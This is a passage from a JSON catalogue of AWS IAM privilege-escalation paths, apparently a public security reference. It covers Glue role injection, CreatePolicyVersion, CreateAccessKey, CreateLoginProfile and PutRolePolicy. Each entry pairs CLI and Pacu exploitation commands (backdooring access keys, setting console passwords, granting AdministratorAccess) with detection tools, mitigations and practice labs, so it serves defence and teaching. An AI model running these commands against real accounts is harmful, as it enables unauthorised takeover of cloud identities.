          "description": "When the Glue session initializes, the Glue service assumes the role specified in `--role` and injects its credentials into the session workers. This happens automatically as part of session startup \u2014 before any `glue:RunStatement` call is made. All subsequent statements in the session run under this role's identity."
        },
        {
          "from": "admin_role",
          "to": "python_code",
          "label": "glue:RunStatement",
          "description": "Submit an inline Python statement to execute within the session. The boto3 client in the statement automatically uses the admin role's credentials injected by Glue. No explicit credential configuration is needed.\n\nCommand:\n```bash\naws glue run-statement \\\n  --session-id privesc-glue-session \\\n  --code \"import boto3; iam = boto3.client('iam'); iam.attach_user_policy(UserName='STARTING_USER', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')\"\n```\n"
        },
        {
          "from": "python_code",
          "to": "admin",
          "label": "If passed role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the passed role has AdministratorAccess or specific IAM write permissions (such as `iam:AttachUserPolicy`), the Python statement successfully elevates the starting principal to administrator."
        },
        {
          "from": "python_code",
          "to": "some_perms",
          "label": "If passed role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the passed role has some elevated permissions but lacks IAM write access, the Python code can still perform useful actions like reading sensitive data from S3 or DynamoDB, but cannot directly grant the starting principal new permissions."
        },
        {
          "from": "python_code",
          "to": "no_perms",
          "label": "If passed role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the passed role has only minimal permissions, the Python statement cannot perform meaningful escalation or data access. The attack provides limited value."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/glue/glue-007.yaml"
  },
  {
    "id": "iam-001",
    "name": "iam:CreatePolicyVersion",
    "category": "self-escalation",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:CreatePolicyVersion` can create a new version of an IAM policy. If a user can create a new version of a policy that is already attached to them, they can grant themselves administrative privileges by creating a new policy version with elevated permissions and setting it as the default version. A principal can also leverage this to escalate the permissions of another principal they can access.",
    "prerequisites": {
      "admin": [
        "Policy must already be attached to the actor's user, role, or group"
      ],
      "lateral": [
        "Policy must already be attached to the actor's user, role, or group"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam create-policy-version --policy-arn @arn --policy-document file://admin_policy.json --set-as-default",
          "description": "Create a new policy version with administrative permissions and set it as default"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:CreatePolicyVersion` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.",
    "limitations": "This path provides administrative access when the attacker creates a policy version with administrative permissions. The attacker can specify any permissions in the new policy version. However, even limited additional permissions may enable multi-hop attacks.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreatepolicyversion"
      },
      {
        "title": "HackingTheCloud - CreatePolicyVersion Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreatepolicyversion"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 01",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      },
      {
        "title": "s3cur3.it IAMVulnerable - Part 1",
        "url": "https://s3cur3.it/home/practicing-aws-security-with-iamvulnerable"
      }
    ],
    "relatedPaths": [
      "iam-007",
      "iam-008"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L117",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L273",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L27"
    },
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "url": "https://docs.datadoghq.com/security/default_rules/7b6-2a8-df9/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-self-escalation/to-admin/iam-createpolicyversion",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-CreateNewPolicyVersion",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal initiating the attack. Can be an IAM user or role that has an IAM policy already attached to them (directly, via group, or inline). Must have iam:CreatePolicyVersion permission on that policy.\n"
        },
        {
          "id": "attached_policy",
          "label": "Existing attached-policy",
          "type": "resource",
          "description": "An IAM customer managed policy that is already attached to the starting principal (directly, via group, or inline). The principal must have iam:CreatePolicyVersion permission for this specific policy ARN.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The new policy version is now the default and automatically takes effect. The starting principal immediately gains all permissions specified in the new policy version, including full administrative access if that was included.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "attached_policy",
          "label": "Has policy attached",
          "description": "The starting principal must already have a customer managed policy attached to them (directly, via their role, or via a group they belong to). This is a prerequisite for the attack.\n"
        },
        {
          "from": "attached_policy",
          "to": "admin",
          "label": "iam:CreatePolicyVersion",
          "description": "Execute the iam:CreatePolicyVersion API call to create a new version of the attached policy. Include a policy document with administrative permissions and use --set-as-default to make it active immediately.\n\nExample command:\naws iam create-policy-version --policy-arn @arn --policy-document file://admin_policy.json --set-as-default\n\nThe new policy version becomes the default and takes effect immediately. All principals with this policy attached (including the attacker) now have the permissions specified in the new version.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:CreatePolicyVersion",
          "resourceConstraints": "Policy ARN must be in the Resource section and policy must be attached to the actor"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-001.yaml"
  },
  {
    "id": "iam-002",
    "name": "iam:CreateAccessKey",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:CreateAccessKey` can create access keys for any user they have this permission on. This permission is often abused by one principal to gain access to another principal and the permissions associated with that principal.",
    "prerequisites": {
      "admin": [
        "Target user must have fewer than 2 access keys already",
        "Target user must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "Target user must have fewer than 2 access keys already"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam create-access-key --user-name @username",
          "description": "Create a new access key for the target user"
        },
        {
          "step": 2,
          "command": "aws configure --profile target-user",
          "description": "Configure AWS CLI with the newly created access key"
        },
        {
          "step": 3,
          "command": "aws sts get-caller-identity --profile target-user",
          "description": "Verify access as the target user"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "run iam__enum_users_roles_policies_groups",
          "description": "Enumerate IAM users to find target with fewer than 2 keys"
        },
        {
          "step": 2,
          "command": "run iam__backdoor_users_keys --usernames [TARGET_USER]",
          "description": "Create access key for target user"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:CreateAccessKey` using the principle of least privilege. Only allow users to create access keys for themselves or users they are authorized to manage. Very few principals need this permission on anyone other than themselves, so it should be restricted to only the few principals that need it.",
    "limitations": "This path provides administrative access only if the target user or group has administrative permissions. The attacker gains whatever permissions the target principal has. If the target has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreateaccesskey"
      },
      {
        "title": "HackingTheCloud - CreateAccessKey Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 04",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      },
      {
        "title": "s3cur3.it IAMVulnerable - Part 3",
        "url": "https://s3cur3.it/home/practicing-aws-security-with-iamvulnerable-part-3"
      }
    ],
    "relatedPaths": [
      "iam-003",
      "iam-004",
      "iam-006"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/iam_edges.py#L70",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L112",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L218",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L29"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-createaccesskey",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-CreateAccessKey",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "iam_privesc_by_key_rotation",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS attacks"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamcreateaccesskey-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:CreateAccessKey permission on the target user. Can be an IAM user or role with permission to create access keys for other users.\n"
        },
        {
          "id": "target_user",
          "label": "Existing target-user",
          "type": "principal",
          "description": "The target IAM user for whom the access key is created. Must have fewer than 2 existing access keys (AWS limit). The attacker gains access to all permissions attached to this user.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account when the target user has AdministratorAccess or equivalent permissions.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target user has some elevated permissions. Check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target user has no interesting permissions beyond what the starting principal already had.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_user",
          "label": "iam:CreateAccessKey",
          "description": "Execute iam:CreateAccessKey to generate a new access key for the target user. The API returns both the AccessKeyId and SecretAccessKey in the response. Configure the AWS CLI with these credentials to authenticate as the target user.\n\nCommand: `aws iam create-access-key --user-name @username`\n"
        },
        {
          "from": "target_user",
          "to": "admin",
          "label": "If user has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target user has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to the account.\n"
        },
        {
          "from": "target_user",
          "to": "some_perms",
          "label": "If user has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target user has some elevated permissions, check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "from": "target_user",
          "to": "no_access",
          "label": "If user has no interesting permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target user only has minimal permissions, there may be no meaningful privilege escalation achieved.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:CreateAccessKey",
          "resourceConstraints": "Target IAM user must be in the Resource section"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListUsers",
          "resourceConstraints": "Helpful for discovering target users"
        },
        {
          "permission": "iam:GetUser",
          "resourceConstraints": "Useful for viewing user details"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-002.yaml"
  },
  {
    "id": "iam-003",
    "parent": {
      "id": "iam-002",
      "modification": "Adds iam:DeleteAccessKey to handle the scenario where the target user already has 2 access keys (AWS maximum limit)"
    },
    "name": "iam:CreateAccessKey + iam:DeleteAccessKey",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "description": "This is a variation of `iam:CreateAccessKey` that works even when the target user already has 2 access keys (the AWS maximum). By combining `iam:CreateAccessKey` with `iam:DeleteAccessKey`, an attacker can first delete one of the existing keys, then create a new access key for themselves, gaining access to the target user's permissions.",
    "prerequisites": {
      "admin": [
        "Target user has 2 access keys (maximum allowed)",
        "Target user must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "Target user has 2 access keys (maximum allowed)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam list-access-keys --user-name @username",
          "description": "List existing access keys for the target user"
        },
        {
          "step": 2,
          "command": "aws iam delete-access-key --user-name @username --access-key-id @access-key-id",
          "description": "Delete one of the existing access keys"
        },
        {
          "step": 3,
          "command": "aws iam create-access-key --user-name @username",
          "description": "Create a new access key for the target user"
        },
        {
          "step": 4,
          "command": "aws configure --profile target-user",
          "description": "Configure AWS CLI with the newly created access key"
        }
      ]
    },
    "recommendation": "Restrict access to both `iam:CreateAccessKey` and `iam:DeleteAccessKey` using the principle of least privilege. The combination of these permissions is particularly dangerous as it bypasses the 2-key limit protection. Monitor for sequences where DeleteAccessKey is immediately followed by CreateAccessKey for the same user.",
    "limitations": "This path provides administrative access only if the target user or group has administrative permissions. The attacker gains whatever permissions the target principal has. If the target has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": 2024
      },
      "derivativeOf": {
        "pathId": "iam-002",
        "modification": "Adds iam:DeleteAccessKey to handle the scenario where the target user already has 2 access keys (AWS maximum limit)"
      },
      "ultimateOrigin": {
        "pathId": "iam-002",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreateaccesskey"
      },
      {
        "title": "AWS IAM User Access Key Limits",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html"
      }
    ],
    "relatedPaths": [
      "iam-002"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/iam_edges.py#L63-L85",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L41",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L230"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-deleteaccesskey+createaccesskey",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-CreateAccessKey",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "iam_privesc_by_key_rotation",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS attacks"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamcreateaccesskey-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "toolSupport": {
      "pmapper": false,
      "iamVulnerable": false
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:DeleteAccessKey and iam:CreateAccessKey permissions on the target user. Can be an IAM user or role with permission to delete and create access keys for other users.\n"
        },
        {
          "id": "target_user",
          "label": "target-user (2 keys)",
          "type": "principal",
          "description": "The target IAM user who already has 2 existing access keys (AWS maximum). The attacker must first delete one of the existing keys before creating a new one. Once the new key is created, the attacker gains access to all permissions attached to this user.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account when the target user has AdministratorAccess or equivalent permissions.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target user has some elevated permissions. Check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target user has no interesting permissions beyond what the starting principal already had.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_user",
          "label": "iam:DeleteAccessKey + iam:CreateAccessKey",
          "description": "First, execute iam:DeleteAccessKey to remove one of the target user's existing access keys (freeing up a slot). Then execute iam:CreateAccessKey to generate a new access key for the target user. The API returns both the AccessKeyId and SecretAccessKey in the response. Configure the AWS CLI with these credentials to authenticate as the target user.\n\nCommands:\n```bash\naws iam list-access-keys --user-name @username\naws iam delete-access-key --user-name @username --access-key-id @access-key-id\naws iam create-access-key --user-name @username\n```\n"
        },
        {
          "from": "target_user",
          "to": "admin",
          "label": "If user has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target user has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to the account.\n"
        },
        {
          "from": "target_user",
          "to": "some_perms",
          "label": "If user has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target user has some elevated permissions, check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "from": "target_user",
          "to": "no_access",
          "label": "If user has no interesting permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target user only has minimal permissions, there may be no meaningful privilege escalation achieved.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:CreateAccessKey",
          "resourceConstraints": "Target IAM user must be in the Resource section"
        },
        {
          "permission": "iam:DeleteAccessKey",
          "resourceConstraints": "Target IAM user must be in the Resource section"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListUsers",
          "resourceConstraints": "Helpful for discovering target users"
        },
        {
          "permission": "iam:GetUser",
          "resourceConstraints": "Useful for viewing user details"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-003.yaml"
  },
  {
    "id": "iam-004",
    "name": "iam:CreateLoginProfile",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:CreateLoginProfile` can create console login profiles for any user they have this permission on. This permission is often abused by one principal to gain access to another principal and the permissions associated with that principal via the AWS Console.",
    "prerequisites": {
      "admin": [
        "Target user must NOT currently have a login profile",
        "Target user must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "Target user must NOT currently have a login profile"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam create-login-profile --user-name @username --password @password",
          "description": "Create a console login profile with a known password for the target user"
        },
        {
          "step": 2,
          "command": "# Login to AWS Console with the username and password",
          "description": "Access AWS Console as the target user"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "run iam__backdoor_users_password --usernames [TARGET_USER]",
          "description": "Creates a password for the target user"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:CreateLoginProfile` using the principle of least privilege. Only allow users to create login profiles for users they are authorized to manage. Very few principals need this permission on anyone other than themselves, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.",
    "limitations": "This path provides administrative access only if the target user or group has administrative permissions. The attacker gains whatever permissions the target principal has. If the target has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreateloginprofile--iamupdateloginprofile"
      },
      {
        "title": "HackingTheCloud - CreateLoginProfile Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateloginprofile"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 05",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      },
      {
        "title": "s3cur3.it IAMVulnerable - Part 3",
        "url": "https://s3cur3.it/home/practicing-aws-security-with-iamvulnerable-part-3"
      }
    ],
    "relatedPaths": [
      "iam-002",
      "iam-006"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-createloginprofile",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-CreateLoginProfile",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamcreateloginprofile-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/iam_edges.py#L116",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L113",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L256",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L30"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:CreateLoginProfile permission on the target user. Can be an IAM user or role with permission to create console login profiles for other users.\n"
        },
        {
          "id": "target_user",
          "label": "Existing target-user",
          "type": "principal",
          "description": "The target IAM user for whom the console login profile is created. Must NOT currently have a login profile (AWS does not allow multiple profiles per user). Once the profile is created, the attacker can login to the AWS Console as this user with the password they set.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account when the target user has AdministratorAccess or equivalent permissions.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target user has some elevated permissions. Check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target user has no interesting permissions beyond what the starting principal already had.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_user",
          "label": "iam:CreateLoginProfile",
          "description": "Execute iam:CreateLoginProfile to create a console login profile with a password of your choosing for the target user. The target user must not currently have a login profile. Once created, login to the AWS Console using the target user's username and your chosen password to authenticate as the target user.\n\nCommand: `aws iam create-login-profile --user-name @username --password @password`\n"
        },
        {
          "from": "target_user",
          "to": "admin",
          "label": "If user has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target user has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to the account via the AWS Console.\n"
        },
        {
          "from": "target_user",
          "to": "some_perms",
          "label": "If user has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target user has some elevated permissions, check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "from": "target_user",
          "to": "no_access",
          "label": "If user has no interesting permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target user only has minimal permissions, there may be no meaningful privilege escalation achieved.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:CreateLoginProfile",
          "resourceConstraints": "Target IAM user must be in the Resource section"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListUsers",
          "resourceConstraints": "Helpful for discovering target users"
        },
        {
          "permission": "iam:GetUser",
          "resourceConstraints": "Useful for viewing user details"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-004.yaml"
  },
  {
    "id": "iam-005",
    "name": "iam:PutRolePolicy",
    "category": "self-escalation",
    "services": [
      "iam"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PutRolePolicy",
          "resourceConstraints": "Target role must be in the Resource section. For self-escalation, must have permission on own role."
        }
      ],
      "additional": [
        {
          "permission": "iam:GetRolePolicy",
          "resourceConstraints": "Helpful for viewing existing inline policies before modification"
        },
        {
          "permission": "iam:ListRolePolicies",
          "resourceConstraints": "Useful for discovering what inline policies already exist on the role"
        }
      ]
    },
    "description": "A principal with `iam:PutRolePolicy` can attach inline policies to any role they have this permission on. This permission is frequently exploited by a principal to grant themselves additional privileges. For self-escalation, the role can attach an inline policy to itself with any permissions, including full administrative access. A principal can also leverage this to escalate the permissions of another principal they can access.",
    "prerequisites": {
      "admin": [
        "Principal must be a role (not a user, since IAM users cannot have inline role policies)",
        "The role must have `iam:PutRolePolicy` permission on itself"
      ],
      "lateral": [
        "Principal must be a role (not a user, since IAM users cannot have inline role policies)",
        "The role must have `iam:PutRolePolicy` permission on itself"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Create a policy document with elevated permissions\ncat > escalation_policy.json <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": \"*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nEOF\n",
          "description": "Create a JSON policy document granting administrative access"
        },
        {
          "step": 2,
